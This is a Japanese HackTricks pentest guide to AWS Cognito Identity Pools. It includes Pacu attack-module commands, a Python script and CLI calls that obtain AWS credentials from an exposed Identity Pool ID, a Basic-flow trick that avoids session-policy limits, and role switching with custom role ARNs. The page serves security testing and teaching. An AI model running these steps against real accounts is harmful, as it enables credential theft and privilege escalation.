Cognito Identity Pools

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

基本情報

Identity poolsは、ユーザーが一時的な資格情報を取得できるようにすることで、重要な役割を果たします。これらの資格情報は、Amazon S3やDynamoDBなどのさまざまなAWSサービスにアクセスするために必要です。Identity poolsの注目すべき機能の1つは、匿名のゲストユーザーと、ユーザー認証のためのさまざまなアイデンティティプロバイダーの両方をサポートしていることです。サポートされているアイデンティティプロバイダーには、次のものが含まれます:

  • Amazon Cognitoユーザープール

  • Facebook、Google、Login with Amazon、Sign in with Appleなどのソーシャルサインインオプション

  • OpenID Connect(OIDC)に準拠したプロバイダー

  • SAML(Security Assertion Markup Language)アイデンティティプロバイダー

  • 開発者による認証されたアイデンティティ

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Identity Poolセッションを生成するには、まずIdentity IDを生成する必要があります。このIdentity IDはそのユーザーのセッションの識別子です。これらの識別子には、最大20のデータセットを持たせることができ、1MBのキーと値のペアを保存できます。

これは、ユーザーの情報を保持するのに便利です(常に同じIdentity IDを使用するユーザー)。

さらに、サービスcognito-syncは、この情報を管理および同期するためのサービスです(データセット内で情報を送信し、ストリームやSNSメッセージに情報を送信する)。

ペンテストツール

  • Pacu、AWSの脆弱性検出フレームワークには、現在、アカウント内のすべてのCognitoアセットの列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、変更可能なカスタム属性に基づいてユーザーの作成(MFAサポートを含む)および特権昇格を自動化する「cognito__enum」と「cognito__attack」モジュールが含まれています。使用可能なIdentity Pool資格情報、IDトークン内の仮定可能なロールなど。

モジュールの機能の説明については、ブログ記事の第2部を参照してください。インストール手順については、Pacuのメインページを参照してください。

使用方法

指定されたIdentity Poolとユーザープールクライアントに対してユーザーの作成とすべての特権昇格ベクトルを試行するためのcognito__attackの使用例:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

以下は、現在のAWSアカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集するためのcognito__enumのサンプル使用方法です:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner は、Cognito 上でのさまざまな攻撃、不要なアカウント作成、およびアイデンティティプールのエスカレーションを実装する Python の CLI ツールです。

インストール

$ pip install cognito-scanner

使用法

$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

IAMロールへのアクセス

認証されていない

CognitoアプリでAWS資格情報を取得するために攻撃者が必要とする唯一の情報はIdentity Pool IDであり、このIDはWeb / モバイルアプリケーションにハードコードされている必要があります。IDは次のように見えます:eu-west-1:098e5341-8364-038d-16de-1865e435da3b(ブルートフォースできません)。

IAM Cognito未認証ロールはデフォルトでCognito_<Identity Pool name>Unauth_Roleと呼ばれます。

ハードコードされたIdentity Pools IDを見つけ、認証されていないユーザーが許可されている場合、次の手順でAWS資格情報を取得できます:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

または、次のaws cliコマンドを使用できます:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

デフォルトでは、未認証のCognitoユーザーは、ポリシーを介して割り当てられていても、権限を持つことはできません。以下のセクションを確認してください。

強化認証フローと基本認証フロー

前のセクションでは、デフォルトの強化認証フローに従いました。このフローは、生成されたIAMロールセッションに制限があるセッションポリシーを設定します。このポリシーは、セッションがこのリストからのサービスのみを使用できるようにします(ロールが他のサービスにアクセス権を持っていても)。

ただし、Identity poolに「Basic (Classic) Flow」が有効になっている場合、ユーザーはそのフローを使用してセッションを取得でき、そのセッションにはその制限のあるセッションポリシーが適用されません

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

このエラーを受け取った場合、**基本フローが有効になっていない(デフォルト)**ためです。

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM資格情報を持っている場合は、どのアクセス権限を持っているかを確認し、特権を昇格してみてください。

認証済み

認証済みユーザーはおそらく異なる権限が付与されるため、アプリ内でサインアップできる場合は、それを試して新しい資格情報を取得してください。

認証済みユーザーがアクセスするIdentity Poolにはロールも利用可能かもしれません。

そのためにはアイデンティティプロバイダーへのアクセスが必要です。もしCognitoユーザープールであれば、デフォルトの動作を悪用して新しいユーザーを作成することができるかもしれません。

IAM Cognito認証ロールはデフォルトでCognito_<Identity Pool name>Auth_Roleと呼ばれます。

とにかく、次の例では、すでにCognitoユーザープールにログインしてIdentity Poolにアクセスしていることを想定しています(他のタイプのアイデンティティプロバイダーも構成されている可能性があることを忘れないでください)。

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# 前のコマンドの応答からidentity_idを取得
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# IdTokenには、ユーザープールグループのためにユーザーがアクセスできるロールが含まれています
# 特定のロールに対して資格情報を取得するには--custom-role-arnを使用します
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

ユーザーがログインしているアイデンティティプロバイダーによって異なるIAMロールを設定することが可能です。また、クレームを使用してユーザーによっても異なるIAMロールを設定することも可能です。したがって、同じまたは異なるプロバイダーを介して異なるユーザーにアクセス権がある場合は、すべてのユーザーのIAMロールにログインしてアクセスする価値があるかもしれません

htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

最終更新